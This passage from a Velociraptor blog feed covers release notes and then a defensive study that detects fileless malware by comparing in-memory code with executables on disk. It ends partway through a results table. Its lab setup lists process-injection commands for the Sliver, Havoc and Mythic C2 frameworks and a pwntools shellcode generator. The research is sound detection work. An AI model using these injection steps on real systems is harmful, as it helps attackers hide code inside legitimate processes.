plugins&lt;/h2&gt;&#xA;&lt;h3 id=&#34;full-text-indexing-and-searching&#34;&gt;Full text indexing and searching&lt;/h3&gt;&#xA;&lt;p&gt;Many users already forward their Velociraptor results to Elasticsearch&#xA;or Opensearch so that the data is indexed and more easily&#xA;searchable. In this release we&amp;rsquo;ve added the ability to index and&#xA;search results locally using the &lt;a href=&#34;https://blevesearch.com/&#34; target=&#34;_blank&#34; &gt;Bleve&lt;/a&gt;&#xA;search engine, which provides Full Text Search (FTS) capabilities&#xA;similar to Elasticsearch and other NoSQL database solutions.&lt;/p&gt;&#xA;&lt;p&gt;This capability is provided by the following new VQL plugins:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/index/&#34;&gt;index&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/index_search/&#34;&gt;index_search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;removed-plugins&#34;&gt;Removed plugins&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor includes some plugins which link to very large libraries&#xA;with huge API surface, making the binary extremely large. In this&#xA;release very large libraries were removed or substituted in order to&#xA;reduce the binary size:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Elastic library is now handled via a fork to isolate just the&#xA;Bulk upload API - reducing the binary size by 16mb&lt;/li&gt;&#xA;&lt;li&gt;The next largest library is the AWS client library used by&#xA;&lt;code&gt;upload_s3()&lt;/code&gt; increasing the binary size by 6mb.&lt;/li&gt;&#xA;&lt;li&gt;The Google cloud client library is also huge at around 5mb&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For regular release builds:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We now use the MinIO S3 library to connect to AWS - this library&#xA;is much smaller and easier to use. It supports the most common&#xA;features and should be mostly compatible.&lt;/li&gt;&#xA;&lt;li&gt;Remove Google cloud dependencies: &lt;code&gt;Google pubsub&lt;/code&gt; is a rarely used&#xA;feature, and with Google Cloud Storage (GCS) we can always enable&#xA;S3 compatible mode so there is no real need for specific GCS&#xA;access. See &lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/tips/setup_gcs_storage/&#34;&gt;How to set up a GCS Bucket for file&#xA;uploads&lt;/a&gt; to configure&#xA;your GCS buckets for use with&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/other/upload_s3/&#34;&gt;upload_s3()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;From this version we&amp;rsquo;ve introduced a new build tag &lt;code&gt;sumo&lt;/code&gt; which&#xA;includes these large libraries if anyone really needs them. By&#xA;enabling &lt;code&gt;sumo&lt;/code&gt; build tags (i.e. &lt;code&gt;make linux_sumo&lt;/code&gt;) it is possible to&#xA;build a larger binary with the full AWS and Google client libraries.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest release.&#xA;Please download the release candidate and give it a test and provide&#xA;feedback.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available on&#xA;GitHub under an open source license. As always please file issues on&#xA;the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Memory Analysis with Velociraptor - Part 2</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-12-22-memory-analysis-pt2/</link>
      <pubDate>Mon, 22 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-12-22-memory-analysis-pt2/</guid>
      <description>&lt;p&gt;In &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1/&#34;&gt;Memory Analysis with Velociraptor - Part 1&lt;/a&gt; we looked at how to access&#xA;the RAM with Velociraptor. In this post, we look at how to find fileless&#xA;malware.&lt;/p&gt;&#xA;&lt;h1 id=&#34;0-abstract&#34;&gt;0. Abstract&lt;/h1&gt;&#xA;&lt;p&gt;Commonly, in an incident response scenario one has a live attacker in the&#xA;network but does not know which systems are compromised. Networks can be quite&#xA;large and include &amp;gt;10.000 systems. Additionally, attackers nowadays use Command&#xA;and Control (C2) frameworks running in Random Access Memory (RAM).&lt;/p&gt;&#xA;&lt;p&gt;Our approach finds the C2 frameworks without knowing where the attacker is,&#xA;without dumping the RAM and scaling to &amp;gt;10.000 systems.&lt;/p&gt;&#xA;&lt;p&gt;Our custom Velociraptor Query Language (VQL) artifact&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/windows.memory.mem2disk/&#34;&gt;Windows.Memory.Mem2Disk&lt;/a&gt; compares the code in&#xA;the .text segment of every process to the code of the executable on&#xA;disk. Leveraging Velociraptor, we can execute this artifact on &amp;gt;10.000 systems&#xA;simultaneously and we can analyze the RAM live without actually dumping it.&lt;/p&gt;&#xA;&lt;h1 id=&#34;1-introduction&#34;&gt;1. Introduction&lt;/h1&gt;&#xA;&lt;p&gt;The most difficult to detect cyber attacks nowadays are RAM-only&#xA;attacks or fileless attacks. As most security tools focus on&#xA;detections in persistent storage (hard disks), attackers avoid them by&#xA;leveraging the RAM. Commonly, malicious code is injected into&#xA;legitimate processes live in RAM.&lt;/p&gt;&#xA;&lt;p&gt;We already detected fileless malware in a &lt;a href=&#34;https://github.com/lautarolecumberry/DetectingFilelessMalware/blob/main/DetectingFilelessMalware.pdf&#34; target=&#34;_blank&#34; &gt;proof-of-concept&#xA;implementation&lt;/a&gt;. Our&#xA;goal is now to improve detection and to detect fileless instances of&#xA;professional C2 frameworks live without dumping the RAM across a network of&#xA;computers.&lt;/p&gt;&#xA;&lt;h1 id=&#34;2-background-and-existing-techniques&#34;&gt;2. Background and Existing Techniques&lt;/h1&gt;&#xA;&lt;h2 id=&#34;21-process-injection&#34;&gt;2.1. Process injection&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/&#34; target=&#34;_blank&#34; &gt;Process injection&lt;/a&gt; is a&#xA;code injection technique used to execute arbitrary code within the&#xA;address space of another, possibly legitimate process. The purpose is&#xA;to evade process-based defenses and escalate privileges. There are&#xA;many ways of achieving this, e.g.:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/012/&#34; target=&#34;_blank&#34; &gt;Process hollowing&lt;/a&gt;&#xA;is a sub-technique of process injection. It works by creating a&#xA;process in a suspended state, unmapping its memory, and then&#xA;replacing it with custom (malicious) code. The custom code is&#xA;executed under the identity of the previously created process,&#xA;hollowing it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/003/&#34; target=&#34;_blank&#34; &gt;Thread Execution&#xA;Hijacking&lt;/a&gt; is&#xA;comparable to process hollowing but instead of creating a new&#xA;process, it controls a live thread in an existing process. To&#xA;accomplish this, it is necessary to pause the running thread.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://unprotect.it/technique/inline-hooking/&#34; target=&#34;_blank&#34; &gt;Inline hooking&lt;/a&gt; is&#xA;a method used to intercept calls to functions. The first few bytes&#xA;of the target function in memory are overwritten with a jump&#xA;instruction, redirecting the execution flow to a custom function.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;With &lt;a href=&#34;https://attack.mitre.org/techniques/T1055/001/&#34; target=&#34;_blank&#34; &gt;DLL injection&lt;/a&gt;&#xA;an adversary modifies an existing Dynamic-Link Library (DLL) or adds&#xA;a new DLL to an existing process. An example for a DLL modification&#xA;is DLL hollowing analogous to process hollowing while new libraries&#xA;can e.g. be added by manipulating the Import Address Table (IAT)&#xA;of the executable.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;A full list of process injection techniques can be found at &lt;a href=&#34;https://attack.mitre.org/techniques/T1055/&#34; target=&#34;_blank&#34; &gt;Mitre:&#xA;Process injection&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;22-volatility--malfind&#34;&gt;2.2. Volatility &amp;amp; Malfind&lt;/h2&gt;&#xA;&lt;p&gt;One of the main existing tools to analyze the RAM is&#xA;&lt;a href=&#34;https://github.com/volatilityfoundation/volatility3&#34; target=&#34;_blank&#34; &gt;volatility&lt;/a&gt;. It requires&#xA;creating an offline RAM dump first with other tools like&#xA;&lt;a href=&#34;https://github.com/Velocidex/WinPmem&#34; target=&#34;_blank&#34; &gt;WinPmem&lt;/a&gt; which takes considerable&#xA;time. Afterwards, this dump can be analyzed with volatility.&lt;/p&gt;&#xA;&lt;p&gt;Most commands of volatility require in-depth knowledge of the RAM and the&#xA;operating system. An exception is &lt;code&gt;malfind&lt;/code&gt;, which searches for memory pages&#xA;that are writable and executable. The hypothesis is that memory pages are&#xA;either writable or executable. If executable pages are writable again, it means&#xA;an injection took place and the page is flagged.&lt;/p&gt;&#xA;&lt;h2 id=&#34;23-hollowshunter&#34;&gt;2.3. Hollowshunter&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/hasherezade/hollows_hunter&#34; target=&#34;_blank&#34; &gt;Hollowshunter&lt;/a&gt; scans the RAM of&#xA;one machine for various malware injection techniques. It uses&#xA;&lt;a href=&#34;https://github.com/hasherezade/pe-sieve&#34; target=&#34;_blank&#34; &gt;PE-sieve&lt;/a&gt;, a tool to scan a single&#xA;process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;24-memprocfs&#34;&gt;2.4. MemProcFS&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/ufrisk/MemProcFS&#34; target=&#34;_blank&#34; &gt;MemProcFS&lt;/a&gt; provides a filesystem-like&#xA;view of the RAM. This way, files can easily be accessed. However, detection of&#xA;malware is mostly left to the analyst.&lt;/p&gt;&#xA;&lt;h1 id=&#34;3-methodology&#34;&gt;3. Methodology&lt;/h1&gt;&#xA;&lt;p&gt;To test against C2 frameworks, we use the most common open source C2 frameworks&#xA;and inject shellcode (e.g. an implant) into a legitimate process. The utilized&#xA;C2 frameworks are &lt;a href=&#34;https://github.com/BishopFox/sliver&#34; target=&#34;_blank&#34; &gt;Sliver&lt;/a&gt;,&#xA;&lt;a href=&#34;https://github.com/HavocFramework/Havoc&#34; target=&#34;_blank&#34; &gt;Havoc&lt;/a&gt;, and&#xA;&lt;a href=&#34;https://github.com/its-a-feature/Mythic&#34; target=&#34;_blank&#34; &gt;Mythic&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Our test setup consists of two virtual machines, a Kali machine (attacker) and&#xA;a Windows 10 host (victim). Both machines can reach each other and the&#xA;anti-virus (Windows Defender) is turned off. Anti-virus bypasses are not the&#xA;focus in this article and were therefore excluded.&lt;/p&gt;&#xA;&lt;h2 id=&#34;31-sliver-setup&#34;&gt;3.1. Sliver Setup&lt;/h2&gt;&#xA;&lt;p&gt;We create a Sliver HTTP agent and deploy it on the victim computer.&#xA;Afterwards, we create a beacon and injected it using &lt;code&gt;execute-assembly --ppid &amp;lt;ppid&amp;gt; --process &amp;lt;process.exe&amp;gt; ./beacon.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;32-havoc-setup&#34;&gt;3.2. Havoc Setup&lt;/h2&gt;&#xA;&lt;p&gt;After creating and executing the Havoc agent, we use &lt;code&gt;shellcode inject x64 &amp;lt;pid&amp;gt; /path/to/shellcode.bin&lt;/code&gt; to inject into a process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;33-mythic-setup&#34;&gt;3.3. Mythic Setup&lt;/h2&gt;&#xA;&lt;p&gt;Similar to Sliver and Havoc, we create a Mythic agent and we deploy it. We use&#xA;the &lt;code&gt;Apollo&lt;/code&gt; agent and &lt;code&gt;http&lt;/code&gt; C2 profile.&lt;/p&gt;&#xA;&lt;p&gt;To inject into a process we use &lt;code&gt;shinject -PID &amp;lt;pid&amp;gt; -File /path/to/shellcode.bin&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;34-shellcode&#34;&gt;3.4. Shellcode&lt;/h2&gt;&#xA;&lt;p&gt;The shellcode used in the tests is created using the Python &lt;code&gt;pwntools&lt;/code&gt; library&#xA;with the following script.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from pwn import *&#xA;&#xA;context.update(arch=&amp;quot;amd64&amp;quot;)&#xA;path = &amp;quot;C:\\Program Files\\example\\example.exe&amp;quot;&#xA;pay = (asm(shellcraft.amd64.windows.winexec(path)))&#xA;&#xA;with open(&amp;quot;shellcode.bin&amp;quot;, &amp;quot;wb&amp;quot;) as bf:&#xA;    bf.write(pay)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We simply start a random executable with the shellcode. Usually, an attacker&#xA;would start a beacon or backdoor.&lt;/p&gt;&#xA;&lt;h1 id=&#34;4-technique&#34;&gt;4. Technique&lt;/h1&gt;&#xA;&lt;h2 id=&#34;41-velociraptor&#34;&gt;4.1. Velociraptor&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1/&#34;&gt;Memory Analysis with Velociraptor - Part 1&lt;/a&gt; already described in depth&#xA;how to access the RAM with Velociraptor. This works live with the accessors of&#xA;Velociraptor, so we do not need to dump the entire RAM. It scales up to&#xA;thousands of computers, therefore, we can detect C2 frameworks in entire&#xA;networks without previously knowing which machines are infected.&lt;/p&gt;&#xA;&lt;p&gt;Our detection technique, &lt;code&gt;Windows.Memory.Mem2Disk&lt;/code&gt;, compares the .text segment&#xA;of running processes to the executable on disk. Any deviation indicates&#xA;suspicious behaviour, i.e. mostly RAM injections.&lt;/p&gt;&#xA;&lt;h2 id=&#34;42-baseofdata-and-aslr&#34;&gt;4.2. BaseOfData and ASLR&lt;/h2&gt;&#xA;&lt;p&gt;While this detection sounds trivial, code in RAM and code on disk should not&#xA;match. Address Space Layout Randomization (ASLR) and Relative Virtual Address&#xA;(RVA) introduce offsets to the RAM.&lt;/p&gt;&#xA;&lt;p&gt;Interestingly, in our experiments, most of the time code in RAM perfectly&#xA;matched the code on disk. As it turns out, modern compilers and linkers nearly&#xA;exclusively use relative jumps instead of absolute ones.&lt;/p&gt;&#xA;&lt;p&gt;The only common exception we found in our experiments was the RVA &lt;code&gt;BaseOfDate&lt;/code&gt;&#xA;of 32-bit executables (see&#xA;&lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-image-only&#34; target=&#34;_blank&#34; &gt;Microsoft&lt;/a&gt;&#xA;and &lt;a href=&#34;https://0xrick.github.io/win-internals/pe4/&#34; target=&#34;_blank&#34; &gt;0xrick&lt;/a&gt; for details).&lt;/p&gt;&#xA;&lt;p&gt;In the first stage of our experiments, &lt;code&gt;BaseOfData&lt;/code&gt; introduced changes&#xA;to the .text segment of one byte. For example, in our analysis of&#xA;&lt;code&gt;firefox.exe&lt;/code&gt; process, we observed the differences shown in&#xA;Table 1. Since &lt;code&gt;BaseOfData&lt;/code&gt; is a relative address, the offset between&#xA;code and memory content is always the same (as shown in the table). It&#xA;actually represents Address Space Layout Randomization (ASLR) and,&#xA;thus, while we only observed one byte offsets, it is actually a 32-bit&#xA;offset. &lt;code&gt;BaseOfData&lt;/code&gt; only exists for 32-bit programs, which is why we&#xA;only observed these offsets for 32-bit binaries.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Memory&lt;/th&gt;&#xA;          &lt;th&gt;Disk&lt;/th&gt;&#xA;          &lt;th&gt;Times&lt;/th&gt;&#xA;          &lt;th&gt;Difference&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x44&lt;/td&gt;&#xA;          &lt;td&gt;0x06&lt;/td&gt;&#xA;          &lt;td&gt;2724&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x45&lt;/td&gt;&#xA;          &lt;td&gt;0x07&lt;/td&gt;&#xA;          &lt;td&gt;2385&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x42&lt;/td&gt;&#xA;          &lt;td&gt;0x04&lt;/td&gt;&#xA;          &lt;td&gt;21&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x40&lt;/td&gt;&#xA;          &lt;td&gt;0x02&lt;/td&gt;&#xA;          &lt;td&gt;27&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x43&lt;/td&gt;&#xA;          &lt;td&gt;0x05&lt;/td&gt;&#xA;          &lt;td&gt;12&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;0x41&lt;/td&gt;&#xA;          &lt;td&gt;0x03&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;62 (0x3e)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Table 1: 32-bit Firefox &lt;code&gt;BaseOfData&lt;/code&gt; offsets&lt;/p&gt;&#xA;&lt;p&gt;Thanks to Mike Cohen we were able to improve our VQL code, calculate the ASLR&#xA;offset and ignore these false positives. Thus, eliminating false positives from&#xA;ASLR as well as &lt;code&gt;BaseOfData&lt;/code&gt; in one go.&lt;/p&gt;&#xA;&lt;p&gt;Afterwards, none of the legitimate processes we analyzed were detected (see&#xA;Table 2).&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Name&lt;/th&gt;&#xA;          &lt;th&gt;BaseOfData&lt;/th&gt;&#xA;          &lt;th&gt;Detected&lt;/th&gt;&#xA;          &lt;th&gt;Detected ignoring ASLR&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Adobe Acrobat Reader&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Command Prompt&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Discord&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Google Chrome (x32)&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Google Chrome (x64)&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;LibreOffice Writer&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;LibreOffice Calc&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Microsoft Edge&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Microsoft Edge Updates&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Microsoft Teams&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Mozilla Firefox (x32)&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Mozilla Firefox (x64)&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Spotify&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Velociraptor&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;VLC&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Windows Calculator&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;WordPad&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Zoom&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Table 2: Legitimate binaries with and without ignoring ASLR&lt;/p&gt;&#xA;&lt;h1 id=&#34;5-results&#34;&gt;5. Results&lt;/h1&gt;&#xA;&lt;p&gt;Additionally to legitimate binaries, we tested the (RAM-based) malware samples&#xA;shown in Table 3.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Num&lt;/th&gt;&#xA;          &lt;th&gt;Sample&lt;/th&gt;&#xA;          &lt;th&gt;Detected&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;AgentTesla&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;AssemblyInjection&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;Astaroth&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;4&lt;/td&gt;&#xA;          &lt;td&gt;Azorult&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;5&lt;/td&gt;&#xA;          &lt;td&gt;BADNEWS&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;6&lt;/td&gt;&#xA;          &lt;td&gt;bandook&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;7&lt;/td&gt;&#xA;          &lt;td&gt;Donut&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;8&lt;/td&gt;&#xA;          &lt;td&gt;Dyre&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;9&lt;/td&gt;&#xA;          &lt;td&gt;Empire&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;10&lt;/td&gt;&#xA;          &lt;td&gt;Gh0stRAT&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;11&lt;/td&gt;&#xA;          &lt;td&gt;GuLoader&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;12&lt;/td&gt;&#xA;          &lt;td&gt;Havoc C2&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;13&lt;/td&gt;&#xA;          &lt;td&gt;HopLight&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;14&lt;/td&gt;&#xA;          &lt;td&gt;HyperBro&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;15&lt;/td&gt;&#xA;          &lt;td&gt;Injection PoC&lt;/td&gt;&#xA;          &lt;td&gt;no&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;16&lt;/td&gt;&#xA;          &lt;td&gt;ISMAgent&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;17&lt;/td&gt;&#xA;          &lt;td&gt;lokibot&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;18&lt;/td&gt;&#xA;          &lt;td&gt;Mythic C2&lt;/td&gt;&#xA;          &lt;td&gt;yes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;19&lt;/td&gt;&#xA;          